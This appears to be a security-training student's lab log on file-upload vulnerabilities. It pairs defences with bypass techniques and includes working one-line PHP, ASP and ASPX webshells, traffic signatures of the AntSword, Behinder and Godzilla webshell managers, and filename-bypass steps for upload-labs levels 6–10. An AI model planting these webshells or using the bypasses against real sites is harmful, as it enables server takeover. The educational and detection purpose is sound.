实训日志day7

day7作业:

1. 文件上传防御手段及绕过手段总结
2. 文件上传常用一句话木马
3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
4. 文件上传无回显如何查找webshell地址
5. 文件上传表单的无参/有参情况下构造表单 -- 加分项
6. upload-labs靶场通关第6-第10关


1.文件上传防御、绕过手段

文件上传防御手段

文件类型验证

基于扩展名:仅允许特定扩展名的文件上传(如 .jpg, .png)。

基于 MIME 类型:检查文件的 MIME 类型以确保它符合预期。

文件内容检查

文件签名检测:分析文件的魔数(magic number)或文件头部,以验证其真实类型。

内容扫描:扫描文件内容是否包含恶意代码。

文件名处理

重命名:在服务器端重命名上传的文件,防止恶意文件名执行。

禁止特殊字符:过滤文件名中的特殊字符或路径遍历字符(如 ../)。

限制文件大小

设置上传文件的最大大小,防止文件注入攻击或资源耗尽攻击。

上传路径限制

将上传文件存储在隔离的目录中,防止其被直接访问或执行。

禁止在 Web 根目录下存储上传文件。

权限控制

对上传文件目录设置合适的文件系统权限,防止写入、执行和读取操作。

避免上传目录可执行,设置合适的目录权限。

用户验证与授权

确保只有经过身份验证的用户才能上传文件。

采用权限检查来限制文件上传功能的访问范围。

动态防御

WAF(Web Application Firewall):利用 WAF 监控和拦截恶意文件上传请求。

内容安全策略:实施严格的内容安全策略(CSP)以减少文件执行风险。

日志记录与监控

记录上传活动日志,监控异常活动并进行及时响应。

文件上传绕过手段

文件扩展名绕过

使用双扩展名(如 file.php.jpg)或混淆扩展名(如 file.php%00.jpg)。

MIME 类型伪造

修改请求中的 Content-Type 头部以伪造文件型。

上传包含正确 MIME 类型的文件以绕过检查。

魔数伪造

伪造文件的魔数(文件签名),以绕过文件内容检查。

路径遍历攻击

使用路径遍历字符(如 ../)尝试将文件上传到不允许的目录。

绕过文件名过滤

利用 Unicode 编码、URL 编码等方式绕过文件名过滤(如 file%20name.php)。

利用不安全的文件处理

上传带有恶意代码的文件(如 PHP webshell),并尝试通过 Web 服务器的漏洞执行。

上传脚本利用

在允许的文件类型(如图片)中嵌入脚本,利用 Web 服务器的漏洞执行。

利用文件内容绕过

上传具有正确文件类型但内部含有恶意代码的文件(如 .jpg 文件内含 PHP 代码)。

分块上传

将恶意文件分块上传,再在服务器端组合这些块进行恶意操作。

2.一句话木马

php:<?php @eval($_POST['x']);?>

asp:<%execute(request('x'))%>

aspx:<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

3.webshell工具

蚁剑(AntSword)

配置木马

连接webshell

配置代理

bp查看流量

流量特征:

每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。

冰蝎(Behinder)

配置木马

连接webshell

配置代理

bp查看流量

流量特征:

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

Content-type: application/x-www-form-urlencoded

哥斯拉(GodzillaCache)

配置木马

连接webshell

配置代理

bp查看流量

流量特征:

pass=eval(base64_decode...

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

4.无回显查找

猜测常见目录:一些常见的上传目录包括 /uploads/, /files/, /attachments/, /images/, /temp/ 等。可以尝试直接访问这些目录。

目录扫描工具:可以使用dirmap、御剑等目录扫描工具

bp:bp抓包查看文件所在位置和被修改后的文件名

5.构造表单

无参文件上传表单

无参文件上传表单是指表单中没有其他额外的输入字段,只有文件上传字段。

<form action="/upload" method="post" enctype="multipart/form-data">

    <input type="file" name="file">

<button type="submit">Upload</button>

</form>

有参文件上传表单

有参文件上传表单除了文件上传字段之外还包含了其他参数字段。

<form action="/upload" method="post" enctype="multipart/form-data">

    <input type="text" name="username" value="testuser">

    <input type="text" name="description" value="Test file upload">

    <input type="file" name="file">

<button type="submit">Upload</button>

</form>

6.upload-labs

第六关

大小写绕过,上传木马文件1.php

抓包修改为1.phP

发送查看后门路径

连接webshell

第七关

空格绕过,上传木马文件1.php

抓包修改为1.php空格

发送查看后门路径

连接webshell

第八关

加点绕过,上传木马文件1.php

抓包修改为1.php.

发送查看后门路径

连接webshell

第九关

::$DATA绕过,上传木马文件2.php

抓包修改为2.php::$DATA

发送查看后门路径

连接webshell

第十关

没有循环验证,上传木马文件2.php

抓包修改为2.php. .(点空格点)

发送查看后门路径

连接webshell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值